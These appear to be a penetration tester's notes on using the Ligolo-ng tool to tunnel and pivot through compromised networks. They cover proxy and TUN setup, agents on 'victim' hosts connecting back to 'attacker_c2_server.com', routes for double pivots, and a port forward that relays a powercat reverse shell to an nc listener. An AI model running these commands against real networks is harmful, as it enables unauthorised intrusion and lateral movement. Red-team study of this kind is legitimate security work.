Ligolo

GitHub - nicocha30/ligolo-ng: An advanced, yet simple, tunneling/pivoting tool that uses a TUN interface.GitHub

A Detailed Guide on Ligolo-NgHacking Articles

How to Tunnel and Pivot Networks using Ligolo-ngLinkedInEditors

Server (proxy)

setup

sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up

ip addr show ligolo

start server

./proxy -laddr 0.0.0.0:3389 -selfcert 

choose a common port (3389, 25, 123) - default 11601

Victim (agent) - single pivot

./agent -connect attacker_c2_server.com:53 -ignore-cert

Server after victim joining

@ligolo chk network config

session 
1

>> agent xx
ifconfig

in same 192.168.w.0/24 subnet, victim has access to 192.168.x.0/24

add corr. network

sudo ip route add 172.16.x.0/24 dev ligolo 
ip route list

@ligolo session

>> agent xx
start

nmap 192.168.x.0/24

Victim 2 (2nd agent) - double pivot

in 2nd agent

./agent -connect attacker_c2_server.com:53 -ignore-cert

Server after victim joining

@ligolo chk network config

session 
2

>> agent yy
ifconfig

the machine in 192.168.x.0/24 has access to 192.168.y.0/24 subnet

add corr. network

sudo ip route add 192.168.y.0/24 dev ligolo 
ip route list

@ligolo session 1

stop

session
2

>> agent yy
start_tunnel

able to switch tunnel simply by start in the 2nd session and choose to close the 1st tunnel via prompt

Port forward in 2nd agent to receive callback from 3rd victim

victim 2 (agent 2) 25 traffics directing to attacker (server) 443 listener

@ligolo session 2

>> agent yy
listener_add --addr 0.0.0.0:25 --to 127.0.0.1:443 --tcp

listener_list
listener_stop

192.168.y.0 subnet machine callback to 192.168.x.0:25 forward to kali at 192.168.w.0:443

listener_add --addr 0.0.0.0:8081 --to 172.16.202.194:8081 --tcp

in 192.168.w.0 kali -

nc -nlvp 443

in 192.168.y.0 machine -

powercat -c 192.168.x.0 -p 25 -ep

Access agent's local port

sudo ip route add 240.0.0.1/32 dev ligolo

nmap 240.0.0.1